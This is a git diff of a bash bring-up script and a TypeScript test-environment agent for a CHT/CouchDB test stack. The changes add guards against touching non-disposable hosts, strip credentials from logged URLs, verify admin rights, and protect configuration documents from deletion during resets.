+  if [[ -n "$project" && "$project" != "$TEST_ENV_PROJECT" ]]; then
+    echo "error: Compose project '$project' already has an nginx on $TEST_ENV_NETWORK." >&2
+    echo "       Tear it down first: CHT_TEST_ENV_PROJECT='$project' scripts/test-env-down.sh <its cht-core path>" >&2
+    exit 1
+  fi
+done <<< "$nginx_projects"
 
 # `npm run local-images` builds from node_modules (bowser, uglifyjs, cleancss);
 # without them it dies on an opaque `cp: cannot stat` deep inside the build.
@@ -74,9 +84,6 @@ elif [[ ! -e "$TARGET/node_modules/bowser/bundled.js" ]] || [[ ! -x "$TARGET/nod
   exit 1
 fi
 
-# 1. Shared network the cht-agent and CHT both join (idempotent).
-docker network create "$NETWORK" 2>/dev/null || true
-
 # 2. Build the app. `npm run local-images` only PACKAGES an already-built tree:
 # build-service-images.sh copies into api/build/static/, which is created by
 # build-prepare.sh (ddocs, enketo css, admin app) and filled by build-webapp-dev.
@@ -93,8 +100,7 @@ fi
 ( cd "$TARGET" && npm run local-images )
 
 # 4. Start the stack, joined to the shared network via the override.
-cd "$TARGET/local-build"
-COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
-  -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" up -d
+test_env_compose up -d
 
-echo "CHT starting on network '$NETWORK'. The agent will poll /api/v2/monitoring until healthy."
+echo "CHT starting as Compose project '$TEST_ENV_PROJECT' on '$TEST_ENV_NETWORK'. The agent will poll /api/v2/monitoring until healthy."
+echo "To trust its cert: docker cp $TEST_ENV_PROJECT-nginx-1:/etc/nginx/private/cert.pem <file>, then NODE_EXTRA_CA_CERTS=<file> for the agent."
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 5fe888ef..59e2a471 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -14,6 +14,7 @@
  * See: designs/layer_recommendations/test-environment-layer.md
  */
 
+import { resolve } from 'node:path';
 import {
   ApplyConfigOptions,
   ChtConfExecOptions,
@@ -35,29 +36,42 @@ import {
 } from '../types';
 import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
 import { waitForReady } from '../utils/cht-readiness';
-import { FORM_BUCKETS, runBucket, runChtConf } from '../utils/cht-conf-runner';
-import { BulkDoc, bulkDocs, DocRevRow, fetchDocRevs, fetchFormRevs, fetchSettings } from '../utils/cht-api';
+import { FORM_BUCKETS, outputTail, runBucket, runChtConf } from '../utils/cht-conf-runner';
+import {
+  BulkDoc,
+  bulkDocs,
+  DocRevRow,
+  fetchDocRevs,
+  fetchFormRevs,
+  fetchSession,
+  fetchSettings,
+} from '../utils/cht-api';
 import {
   classifySeededDocs,
-  cleanSeededDocs,
   countCreatedUsers,
+  findForeignDocFiles,
+  hasCsvInput,
   hasUsersCsv,
   parseUploadDocsSummary,
   readSeededDocs,
+  recordOwnedDocFiles,
+  removeOwnedDocFiles,
   SeededDoc,
   SeededDocCounts,
 } from '../utils/test-data';
 
-// Real-path defaults: scripts/test-env-up.sh brings CHT up on cht-agent-net
-// with these same COUCHDB_* creds. https://nginx is self-signed — the cht-conf
-// child gets --accept-self-signed-certs; the agent's own fetch needs
-// NODE_EXTRA_CA_CERTS (NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for
-// ALL agent traffic, LLM/MCP included — disposable runner containers only).
+// Real-path defaults: scripts/test-env-up.sh brings CHT up on cht-agent-net with these
+// same credentials and with COMMON_NAME=nginx, so the stack's SAN-less self-signed cert
+// names the host the agent dials. The cht-conf child gets --accept-self-signed-certs; the
+// agent's own fetch trusts the cert via NODE_EXTRA_CA_CERTS=<the stack's cert.pem>.
+// NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for ALL agent traffic (LLM/MCP
+// included) — disposable runner containers only.
 const DEFAULT_ENV_URL = 'https://nginx';
 const DEFAULT_NETWORK = 'cht-agent-net';
 const DEFAULT_AUTH = { user: 'medic', password: 'password' };
-// Humans may take minutes to run local-images + compose up.
-const DEFAULT_PROVISION_WAIT_MS = 300_000;
+// A cold first run of test-env-up.sh (clone, npm ci, build-dev, local-images) takes
+// about 18 minutes.
+const DEFAULT_PROVISION_WAIT_MS = 1_800_000;
 
 // Default config project (cht-core in-repo) and the full cht-conf upload set.
 const DEFAULT_CONFIG_PATH = 'config/default';
@@ -68,7 +82,6 @@ const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
   'resources',
 ];
 
-// cht-conf verbs used by the seeding + reset paths.
 const CSV_TO_DOCS = 'csv-to-docs';
 const UPLOAD_DOCS = 'upload-docs';
 
@@ -97,9 +110,10 @@ const stripTrailingSlashes = (value: string): string => {
   return result;
 };
 
-/** Single-quote a path for the printed human-gate commands (spaces/metachars stay inert when pasted). */
 // POSIX single-quote escaping: close the quote, emit an escaped one, reopen.
 const SINGLE_QUOTE_ESCAPE = String.raw`'\''`;
+
+/** Single-quote a path for the printed human-gate commands (spaces/metachars stay inert when pasted). */
 const shellQuote = (value: string): string => `'${value.replaceAll("'", SINGLE_QUOTE_ESCAPE)}'`;
 
 /**
@@ -111,49 +125,78 @@ const shellQuote = (value: string): string => `'${value.replaceAll("'", SINGLE_Q
 const gateArg = (chtCorePath: string | undefined): string =>
   chtCorePath === undefined ? '' : ` ${shellQuote(chtCorePath)}`;
 
+/** Carry an explicit Compose project into the printed gates, so down/restart address the same stack. */
+const gateEnv = (): string => {
+  const project = process.env.CHT_TEST_ENV_PROJECT;
+  return project ? `CHT_TEST_ENV_PROJECT=${shellQuote(project)} ` : '';
+};
+
 const hasControlChars = (value: string): boolean =>
   [...value].some((ch) => (ch.codePointAt(0) ?? 0) < 0x20);
 
+type BasicAuth = { user: string; password: string };
+
 /** A resolved real-mode target: a credential-free instance URL + its auth. */
 interface RealTarget {
   url: string;
-  auth: { user: string; password: string };
+  auth: BasicAuth;
 }
 
-type BasicAuth = { user: string; password: string };
-
 /** Hosts treated as disposable test instances (see assertDisposableTarget). */
 const DISPOSABLE_HOSTS = new Set(['nginx', 'localhost', '127.0.0.1', '[::1]']);
 
+// cht-docker-helper serves a stack on a dashed IP under this resolver, but the resolver
+// answers for ANY address (203-0-113-5.local-ip.medicmobile.org is public).
+const PRIVATE_DASHED_IP =
+  /^(?:10-\d{1,3}|127-\d{1,3}|192-168|172-(?:1[6-9]|2\d|3[01]))-\d{1,3}-\d{1,3}\.local-ip\.medicmobile\.org$/;
+
+// `.local` is deliberately absent: it is also the legacy Active Directory suffix.
 const isDisposableHost = (hostname: string): boolean =>
-  DISPOSABLE_HOSTS.has(hostname) ||
-  hostname.endsWith('.local') ||
-  hostname.endsWith('.localhost') ||
-  // cht-docker-helper (the published-version bring-up) serves the stack here.
-  hostname.endsWith('.local-ip.medicmobile.org');
+  DISPOSABLE_HOSTS.has(hostname) || hostname.endsWith('.localhost') || PRIVATE_DASHED_IP.test(hostname);
+
+/** Parse an instance URL without letting ERR_INVALID_URL carry the raw string (password included). */
+const parseInstanceUrl = (raw: string): URL => {
+  try {
+    return new URL(raw);
+  } catch {
+    throw new Error('provision: the instance URL (options.url / CHT_URL) is not a valid URL');
+  }
+};
+
+/** Credentials embedded in a URL. Both halves are required: `https://medic@host` carries none. */
+const embeddedAuthOf = (url: URL): BasicAuth | undefined =>
+  url.username && url.password
+    ? { user: decodeUserinfo(url.username), password: decodeUserinfo(url.password) }
+    : undefined;
+
+/** The canonical, credential-free form of an instance URL; handle.url reaches logs. */
+const withoutUserinfo = (url: URL): string => {
+  const copy = new URL(url);
+  copy.username = '';
+  copy.password = '';
+  return stripTrailingSlashes(copy.toString());
+};
 
 /**
- * The COUCHDB_* env seam is gated on COUCHDB_PASSWORD (COUCHDB_USER falls back to
- * the default user). `isDefault` reports that nobody supplied credentials, so the
- * guard can refuse to send the built-in medic/password to an unknown host.
+ * Auth precedence: options.auth, then URL-embedded, then COUCHDB_USER / COUCHDB_PASSWORD,
+ * which default independently exactly as the scripts' `${VAR:-default}` do. `isDefault`
+ * means nobody supplied a password, so the guard can refuse to send the built-in one away.
  */
 const resolveRealAuth = (
   options: ProvisionOptions,
   embeddedAuth: BasicAuth | undefined
 ): { auth: BasicAuth; isDefault: boolean } => {
-  const envAuth = process.env.COUCHDB_PASSWORD
-    ? { user: process.env.COUCHDB_USER ?? DEFAULT_AUTH.user, password: process.env.COUCHDB_PASSWORD }
-    : undefined;
-  const supplied = options.auth ?? embeddedAuth ?? envAuth;
-  return supplied ? { auth: supplied, isDefault: false } : { auth: DEFAULT_AUTH, isDefault: true };
+  const supplied = options.auth ?? embeddedAuth;
+  if (supplied) {
+    return { auth: supplied, isDefault: false };
+  }
+  const password = process.env.COUCHDB_PASSWORD || undefined;
+  return {
+    auth: { user: process.env.COUCHDB_USER || DEFAULT_AUTH.user, password: password ?? DEFAULT_AUTH.password },
+    isDefault: password === undefined,
+  };
 };
 
-/**
- * Refuse to aim the destructive paths at anything but a disposable test instance:
- * applyConfig runs cht-conf with `--force` and reset('couchdb') deletes docs, so a
- * stale CHT_URL pointing at staging must fail loudly rather than clobber it.
- * Override per call with allowExternalTarget, or with CHT_TEST_ENV_ALLOW_EXTERNAL=1.
- */
 /** https is always allowed; http only when the host is a local disposable one. */
 const isSchemeAllowed = (target: URL, disposable: boolean): boolean =>
   target.protocol === 'https:' || (target.protocol === 'http:' && disposable);
@@ -161,6 +204,12 @@ const isSchemeAllowed = (target: URL, disposable: boolean): boolean =>
 const isExternalTargetAllowed = (options: ProvisionOptions): boolean =>
   options.allowExternalTarget === true || process.env.CHT_TEST_ENV_ALLOW_EXTERNAL === '1';
 
+/**
+ * Refuse to aim the destructive paths at anything but a disposable test instance:
+ * applyConfig runs cht-conf with `--force` and reset('couchdb') deletes docs, so a
+ * stale CHT_URL pointing at staging must fail loudly rather than clobber it.
+ * Override per call with allowExternalTarget, or with CHT_TEST_ENV_ALLOW_EXTERNAL=1.
+ */
 const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultCreds: boolean): void => {
   const disposable = isDisposableHost(target.hostname);
   if (!isSchemeAllowed(target, disposable)) {
@@ -188,29 +237,16 @@ const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultC
 };
 
 /**
- * Resolve the real-mode instance URL + credentials:
- * - URL fallback: options.url -> CHT_URL (trimmed; blank ignored) -> the
- *   on-network default; canonicalized (no trailing slash).
- * - Embedded basic-auth creds are stripped OUT of the URL (logged everywhere,
- *   and undici rejects credentialed URLs); they survive only as an auth
- *   fallback, decoded raw-`%`-tolerantly.
- * - Auth precedence: options.auth -> embedded creds -> COUCHDB_* env (the same
- *   seam scripts/test-env-up.sh uses) -> the default.
+ * Resolve the real-mode instance URL + credentials. URL: options.url, then CHT_URL
+ * (trimmed; blank ignored), then the on-network default. Embedded basic-auth creds are
+ * stripped out of the URL (it is logged, and undici rejects credentialed URLs) and kept
+ * only as an auth fallback.
  */
 const resolveRealTarget = (options: ProvisionOptions): RealTarget => {
-  const envUrl = process.env.CHT_URL?.trim() || undefined;
-  const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
-  // Both halves must be present: `https://medic@host` is not a credential, and
-  // treating it as one would slip a blank password past the default-creds guard.
-  const embeddedAuth =
-    resolved.username && resolved.password
-      ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
-      : undefined;
-  resolved.username = '';
-  resolved.password = '';
-  const { auth, isDefault } = resolveRealAuth(options, embeddedAuth);
-  assertDisposableTarget(resolved, options, isDefault);
-  return { url: stripTrailingSlashes(resolved.toString()), auth };
+  const target = parseInstanceUrl(options.url ?? (process.env.CHT_URL?.trim() || DEFAULT_ENV_URL));
+  const { auth, isDefault } = resolveRealAuth(options, embeddedAuthOf(target));
+  assertDisposableTarget(target, options, isDefault);
+  return { url: withoutUserinfo(target), auth };
 };
 
 /** A docIds worklist with no dataPath to reseed from is a caller error, not an empty reset. */
@@ -231,14 +267,72 @@ const validateProvisionOptions = (options: ProvisionOptions): void => {
   }
 };
 
+/**
+ * Real mode brings a stack up from a cht-core working copy only. A published version comes
+ * up through cht-docker-helper at a URL this layer can neither print a gate for nor poll,
+ * so it is refused; checking the release tag out in a working copy reaches the same code.
+ */
+const assertRealModeSupported = (options: ProvisionOptions, network: string): void => {
+  if (options.version !== undefined) {
+    throw new Error(
+      `provision: real mode has no published-version bring-up — check ${options.version} out in a ` +
+        'cht-core working copy and pass chtCorePath'
+    );
+  }
+  if (network !== DEFAULT_NETWORK) {
+    throw new Error(
+      'provision: the bring-up scripts and docker/cht-agent-net.override.yml hardcode ' +
+        `${DEFAULT_NETWORK}; a custom network needs an edit there too`
+    );
+  }
+};
+
+/**
+ * /api/v2/monitoring needs no auth, so readiness proves nothing about the credentials. cht-conf
+ * --force and the reset's _bulk_docs both need a CouchDB admin: check that now, not minutes later.
+ */
+const assertAdminCredentials = async (url: string, auth: BasicAuth): Promise<void> => {
+  const session = await fetchSession(url, auth).catch((error: Error) => {
+    throw new Error(`provision: could not verify the credentials for ${auth.user}: ${error.message}`);
+  });
+  if (!session.roles.includes('_admin')) {
+    throw new Error(
+      `provision: ${auth.user} is authenticated but is not a CouchDB admin; apply and reset need one`
+    );
+  }
+};
+
+/** Real provision: gate, wait for health, prove admin credentials, hand back the handle. */
+const provisionReal = async (options: ProvisionOptions, network: string): Promise<EnvironmentHandle> => {
+  assertRealModeSupported(options, network);
+  const { url, auth } = resolveRealTarget(options);
+
+  console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
+  console.log(`    ${gateEnv()}scripts/test-env-up.sh${gateArg(options.chtCorePath)}   # build + start on ${network}`);
+  console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
+
+  const readiness = {
+    ...options.readiness,
+    maxWaitMs: options.readiness?.maxWaitMs ?? DEFAULT_PROVISION_WAIT_MS,
+  };
+  await waitForReady(url, readiness);
+  await assertAdminCredentials(url, auth);
+
+  console.log(`[Test Environment Agent] Ready at ${url} (network: ${network})`);
+  return { url, auth: { ...auth }, network, chtCorePath: options.chtCorePath, source: 'docker' };
+};
+
 /** Build the deterministic mock-mode handle (no instance, no Docker). */
-const buildMockHandle = (options: ProvisionOptions, network: string): EnvironmentHandle => ({
-  url: options.url ?? MOCK_TEST_ENV_DATA.url,
-  auth: { ...(options.auth ?? MOCK_TEST_ENV_DATA.auth) },
-  network,
-  chtCorePath: options.chtCorePath,
-  source: 'mock',
-});
+const buildMockHandle = (options: ProvisionOptions, network: string): EnvironmentHandle => {
+  const target = parseInstanceUrl(options.url ?? MOCK_TEST_ENV_DATA.url);
+  return {
+    url: withoutUserinfo(target),
+    auth: { ...(options.auth ?? embeddedAuthOf(target) ?? MOCK_TEST_ENV_DATA.auth) },
+    network,
+    chtCorePath: options.chtCorePath,
+    source: 'mock',
+  };
+};
 
 /**
  * Build the cht-conf instance URL with embedded credentials
@@ -388,7 +482,7 @@ const parseDiscoveredConfig = (
 };
 
 /** One line describing why a cht-conf invocation did not succeed. */
-const describeRunFailure = (label: string, run: ChtConfExecResult): string => {
+const describeExit = (label: string, run: ChtConfExecResult): string => {
   if (run.timedOut) {
     return `cht-conf ${label} timed out`;
   }
@@ -398,93 +492,172 @@ const describeRunFailure = (label: string, run: ChtConfExecResult): string => {
   return `cht-conf ${label} exited with code ${run.exitCode}`;
 };
 
+/** Why a cht-conf run did not succeed, with cht-conf's own ERROR lines when it printed any. */
+const describeRunFailure = (label: string, run: ChtConfExecResult): string =>
+  [describeExit(label, run), ...outputTail(run.output)].join(' | ');
+
 const runSucceeded = (run: ChtConfExecResult): boolean =>
   run.exitCode === 0 && !run.timedOut && run.startError === undefined;
 
-/**
- * Doc ids the couchdb reset must never delete: deployed configuration and user
- * accounts. The worklist comes from project-supplied csv-to-docs output (or a
- * caller-supplied docIds list), so it is filtered rather than trusted — a data
- * project containing a doc called `settings` must not be able to wipe the
- * instance's app settings.
- */
-const PROTECTED_DOC_ID =
-  /^(settings|resources|branding|partners|extension-libs)$|^_design\/|^form:|^org\.couchdb\.user:|^messages-/;
+// Doc ids that name deployed configuration or accounts. They are refused wherever a data
+// project reaches the instance or the reset worklist.
+const PROTECTED_IDS = new Set([
+  'settings',
+  'resources',
+  'branding',
+  'partners',
+  'extension-libs',
+  'privacy-policies',
+  'service-worker-meta',
+  'zscore-charts',
+  'migration-log',
+  'shortcode-id-length',
+]);
+const PROTECTED_PREFIXES = ['_design/', 'form:', 'org.couchdb.user:', 'messages-'];
+
+const isProtectedId = (id: string): boolean =>
+  PROTECTED_IDS.has(id) || PROTECTED_PREFIXES.some((prefix) => id.startsWith(prefix));
 
 const partitionProtected = (ids: string[]): { safe: string[]; protectedIds: string[] } => {
   const safe: string[] = [];
   const protectedIds: string[] = [];
   for (const id of ids) {
-    (PROTECTED_DOC_ID.test(id) ? protectedIds : safe).push(id);
+    (isProtectedId(id) ? protectedIds : safe).push(id);
   }
   return { safe, protectedIds };
 };
 
+/** `upload-docs --force` writes whatever json_docs holds, so a protected id is refused up front. */
+const assertNoProtectedDocs = (label: string, dataPath: string, docs: SeededDoc[]): void => {
+  const planted = partitionProtected(docs.map((doc) => doc.id)).protectedIds;
+  if (planted.length > 0) {
+    throw new Error(
+      `${label}: ${dataPath}/json_docs contains protected config doc(s) ${planted.slice(0, 5).join(', ')} — ` +
+        'upload-docs would write them to the instance; remove them first'
+    );
+  }
+};
+
 /** Tracking key — the URL alone collides when parallel envs share the service hostname. */
 const trackingKey = (handle: EnvironmentHandle): string => `${handle.network}|${handle.url}`;
 
-/** What prepareTestData tracked for a provisioned env. */
-interface SeededDataRecord {
+/** Where a seed or reseed reads from, and the cht-conf it runs with. */
+interface SeedSource {
+  /** Absolute, so a later chdir cannot move a reset onto another project. */
   dataPath: string;
-  docIds: string[];
-  /** Ids refused as protected config docs (reported by reset, never wiped). */
-  protectedSkipped: string[];
-  /** The seed's cht-conf binary/timeout, reused by the reset's reseed (no version/timeout skew). */
   bin?: string;
   timeoutMs?: number;
 }
 
+/** What prepareTestData tracked for a provisioned env: its source and the ids it seeded. */
+interface SeededDataRecord extends SeedSource {
+  docIds: string[];
+}
+
 /** cht-conf run options shared by the seeding phases (verbs/logLabel added per call). */
 type SeedRunBase = Pick<ChtConfExecOptions, 'instanceUrl' | 'configPath' | 'cwd' | 'bin' | 'timeoutMs'>;
 
-/** Warn on a partial or empty upload-docs result (never fails the seed). */
-const noteUploadShortfall = (
-  docsRun: ChtConfExecResult,
-  docsOk: boolean,
-  dataPath: string,
-  warnings: string[]
-): void => {
-  const summary = parseUploadDocsSummary(docsRun.output);
-  if (docsOk && summary && summary.uploaded < summary.total) {
-    warnings.push(`only ${summary.uploaded} of ${summary.total} docs uploaded — see the upload-docs report in ${dataPath}`);
+/**
+ * Options for every seed and reseed run. cht-conf resolves --source against the child's cwd,
+ * which is the data project (so its upload-docs report lands there), so both are absolute.
+ */
+const seedRunBase = (handle: EnvironmentHandle, source: SeedSource): SeedRunBase => ({
+  instanceUrl: credentialedUrl(handle),
+  configPath: resolve(source.dataPath),
+  cwd: resolve(source.dataPath),
+  bin: source.bin,
+  timeoutMs: source.timeoutMs,
+});
+
+/**
+ * upload-docs exits 0 even when it rejects docs. A static dataset seeded twice conflicts on
+ * every doc, because csv-to-docs ids hash the content.
+ */
+const uploadShortfall = (run: ChtConfExecResult, docCount: number): string | undefined => {
+  const summary = parseUploadDocsSummary(run.output);
+  if (summary === undefined) {
+    return docCount > 0 ? `upload-docs printed no summary for ${docCount} doc(s)` : undefined;
   }
-  if (docsOk && !summary) {
-    warnings.push(`no docs were uploaded — does ${dataPath}/csv exist and contain CSV files?`);
+  if (summary.uploaded < summary.total) {
+    return (
+      `only ${summary.uploaded} of ${summary.total} docs uploaded — the rest were rejected or already ` +
+      "exist; reset('couchdb') before re-seeding the same data"
+    );
   }
+  return undefined;
 };
 
+/** Refuse anything in json_docs this layer did not generate; remove what it did. */
+const clearOwnedDocs = (dataPath: string): void => {
+  const foreign = findForeignDocFiles(dataPath);
+  if (foreign.length > 0) {
+    throw new Error(
+      `prepareTestData: ${dataPath}/json_docs holds ${foreign.length} file(s) this layer did not generate ` +
+        `(${foreign.slice(0, 3).join(', ')}) — move them out or use a fresh data project`
+    );
+  }
+  const removed = removeOwnedDocFiles(dataPath);
+  if (removed > 0) {
+    console.log(`[Test Environment Agent] Cleared ${removed} json_docs file(s) a previous run generated`);
+  }
+};
+
+/** csv-to-docs into a json_docs holding nothing but this layer's own earlier output. */
+const generateDocs = async (shared: SeedRunBase, dataPath: string, warnings: string[]): Promise<boolean> => {
+  clearOwnedDocs(dataPath);
+  const run = await runChtConf({ verbs: [CSV_TO_DOCS], logLabel: `test-data: ${CSV_TO_DOCS}`, ...shared });
+  // Everything in json_docs now came from csv-to-docs: record it even on failure, so a retry
+  // can clear it.
+  recordOwnedDocFiles(dataPath);
+  if (!runSucceeded(run)) {
+    warnings.push(describeRunFailure(CSV_TO_DOCS, run));
+  }
+  return runSucceeded(run);
+};
+
+const uploadDocs = async (shared: SeedRunBase, docCount: number): Promise<{ ran: boolean; problem?: string }> => {
+  const run = await runChtConf({ verbs: [UPLOAD_DOCS], logLabel: `test-data: ${UPLOAD_DOCS}`, ...shared });
+  if (!runSucceeded(run)) {
+    return { ran: false, problem: describeRunFailure(UPLOAD_DOCS, run) };
+  }
+  return { ran: true, problem: uploadShortfall(run, docCount) };
+};
+
+interface DocsPhase {
+  /** Every doc uploaded cleanly. */
+  docsOk: boolean;
+  /** upload-docs exited cleanly, so what is on disk is what it was given. */
+  uploadRan: boolean;
+  seeded: SeededDoc[];
+  counts: SeededDocCounts;
+}
+
 /**
- * Docs phase: clear a previous run's json_docs (csv-to-docs writes alongside what
- * is there, so a superseded dataset would otherwise be re-uploaded), run
- * csv-to-docs + upload-docs in one ordered cht-conf process, then read + classify
- * what landed on disk (the seeding evidence and the reset worklist).
+ * Docs phase. With csv/ input, json_docs is regenerated (see generateDocs); without it,
+ * json_docs is hand-authored input and is uploaded as it is. Either way protected ids are
+ * refused before upload-docs runs, which is why the two verbs are separate cht-conf calls.
  */
 const prepareDocs = async (
   shared: SeedRunBase,
   dataPath: string,
   config: DiscoveredConfig,
   warnings: string[]
-): Promise<{ docsOk: boolean; seeded: SeededDoc[]; counts: SeededDocCounts }> => {
-  const staleDocs = cleanSeededDocs(dataPath);
-  if (staleDocs > 0) {
-    console.log(`[Test Environment Agent] Cleared ${staleDocs} stale json_docs file(s) from a previous run`);
-  }
-
-  const docsRun = await runChtConf({
-    verbs: [CSV_TO_DOCS, UPLOAD_DOCS],
-    logLabel: `test-data: ${CSV_TO_DOCS} ${UPLOAD_DOCS}`,
-    ...shared,
-  });
-  const docsOk = runSucceeded(docsRun);
-  if (!docsOk) {
-    warnings.push(describeRunFailure(`${CSV_TO_DOCS}/${UPLOAD_DOCS}`, docsRun));
+): Promise<DocsPhase> => {
+  if (hasCsvInput(dataPath) && !(await generateDocs(shared, dataPath, warnings))) {
+    return { docsOk: false, uploadRan: false, seeded: [], counts: classifySeededDocs([], config) };
   }
-
   const seeded = readSeededDocs(dataPath);
+  assertNoProtectedDocs('prepareTestData', dataPath, seeded);
+  const upload = await uploadDocs(shared, seeded.length);
+  if (upload.problem !== undefined) {
+    warnings.push(upload.problem);
+  }
+  if (seeded.length === 0) {
+    warnings.push(`no docs in ${dataPath}/json_docs — does ${dataPath}/csv exist and contain CSV files?`);
+  }
   const counts = classifySeededDocs(seeded, config);
   warnings.push(...counts.warnings);
-  noteUploadShortfall(docsRun, docsOk, dataPath, warnings);
-  return { docsOk, seeded, counts };
+  return { docsOk: upload.problem === undefined, uploadRan: upload.ran, seeded, counts };
 };
 
 /**
@@ -522,11 +695,22 @@ const buildTombstones = (rows: DocRevRow[]): BulkDoc[] => {
   return deletions;
 };
 
+/** Never wipe a doc the data project cannot put back. */
+const assertRestorable = (dataPath: string, ids: string[], onDisk: SeededDoc[]): void => {
+  const available = new Set(onDisk.map((doc) => doc.id));
+  const unrestorable = ids.filter((id) => !available.has(id));
+  if (unrestorable.length > 0) {
+    throw new Error(
+      `couchdb reset: ${dataPath}/json_docs cannot restore ${unrestorable.length} of the ${ids.length} ` +
+        `doc(s) it would wipe (${unrestorable.slice(0, 5).join(', ')}) — re-run prepareTestData instead`
+    );
+  }
+};
+
 /**
- * couchdb reset — wipe: delete the tracked docs at their CURRENT revs (sentinel
- * may have bumped them). Returns how many were actually tombstoned. Throws
- * unless CouchDB acknowledged every submitted deletion with `ok` — a half-reset
- * environment, or a truncated response, must not pass as clean.
+ * couchdb reset — wipe: delete the tracked docs at their CURRENT revs (sentinel may have
+ * bumped them). Throws unless CouchDB acknowledged every submitted deletion with `ok`.
+ * Returns how many were tombstoned.
  */
 const wipeTrackedDocs = async (handle: EnvironmentHandle, docIds: string[]): Promise<number> => {
   const rows = await fetchDocRevs(handle.url, handle.auth, docIds);
@@ -548,55 +732,60 @@ const wipeTrackedDocs = async (handle: EnvironmentHandle, docIds: string[]): Pro
   return deletions.length;
 };
 
-/**
- * couchdb reset — reseed: re-upload pristine copies (deterministic ids come back
- * with fresh revs). upload-docs exits 0 with no summary when it uploaded nothing,
- * so require a summary and measure it against what the pre-flight saw.
- */
+/** couchdb reset — reseed: re-upload the data project's pristine copies. */
 const reseedTrackedDocs = async (
   handle: EnvironmentHandle,
   tracked: SeededDataRecord,
-  onDisk: SeededDoc[]
-): Promise<number> => {
+  wiped: number
+): Promise<void> => {
   const reseed = await runChtConf({
     verbs: [UPLOAD_DOCS],
-    instanceUrl: credentialedUrl(handle),
-    configPath: tracked.dataPath,
-    cwd: tracked.dataPath,
-    bin: tracked.bin,
-    timeoutMs: tracked.timeoutMs,
     logLabel: `couchdb reset: ${UPLOAD_DOCS}`,
+    ...seedRunBase(handle, tracked),
   });
   if (!runSucceeded(reseed)) {
-    throw new Error(`couchdb reset: reseed failed — ${describeRunFailure(UPLOAD_DOCS, reseed)}`);
+    throw new Error(
+      `couchdb reset: ${wiped} doc(s) were wiped but the reseed failed, so they are gone from the ` +
+        `instance until you re-run prepareTestData — ${describeRunFailure(UPLOAD_DOCS, reseed)}`
+    );
   }
-  // upload-docs re-uploads the whole json_docs directory, protected ids included;
-  // only the docs this layer owns count towards a complete reseed (a protected doc
-  // conflicting with deployed config must not fail every future reset).
-  const expected = partitionProtected(onDisk.map((doc) => doc.id)).safe.length;
-  const summary = parseUploadDocsSummary(reseed.output);
-  const uploadedCount = summary?.uploaded ?? 0;
-  if (uploadedCount < expected) {
-    throw new Error(`couchdb reset: reseed uploaded only ${uploadedCount} of ${expected} docs`);
+};
+
+/**
+ * Confirm from CouchDB that every doc the reset is responsible for exists again. upload-docs'
+ * summary cannot say: it re-uploads all of json_docs with no _rev, mixing restored docs with
+ * conflicts on docs that were never wiped.
+ */
+const verifyRestored = async (handle: EnvironmentHandle, ids: string[]): Promise<void> => {
+  const rows = await fetchDocRevs(handle.url, handle.auth, ids);
+  const present = new Set(
+    rows.filter((row) => row.rev !== undefined && !row.deleted && !row.missing).map((row) => row.id)
+  );
+  const absent = ids.filter((id) => !present.has(id));
+  if (absent.length > 0) {
+    throw new Error(
+      `couchdb reset: ${absent.length} doc(s) are missing after the reseed: ${absent.slice(0, 5).join(', ')}`
+    );
   }
-  return expected;
 };
 
 /** Print the human-gated restart/full reset instructions (the agent runs no Docker). */
 const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
   const target = gateArg(handle.chtCorePath);
+  const env = gateEnv();
   console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
   if (tier === 'restart') {
-    console.log(`    scripts/test-env-restart.sh${target}`);
+    console.log(`    ${env}scripts/test-env-restart.sh${target}`);
   } else {
-    console.log(`    scripts/test-env-down.sh${target} && scripts/test-env-up.sh${target}`);
+    // A full reset is a fresh stack, so rebuild: Model A tests the code as it is now.
+    console.log(`    ${env}scripts/test-env-down.sh${target} && ${env}CHT_CORE_REBUILD=1 scripts/test-env-up.sh${target}`);
   }
   console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
 };
 
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
-  /** Seeded-doc tracking per environment (handle URL) for the couchdb reset. */
+  /** Seeded-doc tracking per environment (see trackingKey) for the couchdb reset. */
   private readonly seededData = new Map<string, SeededDataRecord>();
 
   constructor(options: { useMockDocker?: boolean } = {}) {
@@ -604,8 +793,8 @@ export class TestEnvironmentAgent {
   }
 
   /**
-   * Bring up a reachable CHT environment. Requires either a local working copy
-   * (chtCorePath, built via local-images) or a published version.
+   * Bring up a reachable CHT environment. Real mode needs a working copy (chtCorePath, built
+   * by scripts/test-env-up.sh); mock mode also takes a published version.
    */
   async provision(options: ProvisionOptions): Promise<EnvironmentHandle> {
     validateProvisionOptions(options);
@@ -619,23 +808,7 @@ export class TestEnvironmentAgent {
     console.log(`[Test Environment Agent] Source: ${source}`);
 
     if (!this.useMockDocker) {
-      const { url, auth } = resolveRealTarget(options);
-
-      const target = gateArg(options.chtCorePath);
-      console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
-      console.log(`    scripts/test-env-up.sh${target}   # build + start on ${network}`);
-      console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
-
-      await waitForReady(url, { maxWaitMs: DEFAULT_PROVISION_WAIT_MS, ...options.readiness });
-
-      console.log(`[Test Environment Agent] Ready at ${url} (network: ${network})`);
-      return {
-        url,
-        auth: { ...auth },
-        network,
-        chtCorePath: options.chtCorePath,
-        source: 'docker',
-      };
+      return provisionReal(options, network);
     }
 
     const handle = buildMockHandle(options, network);
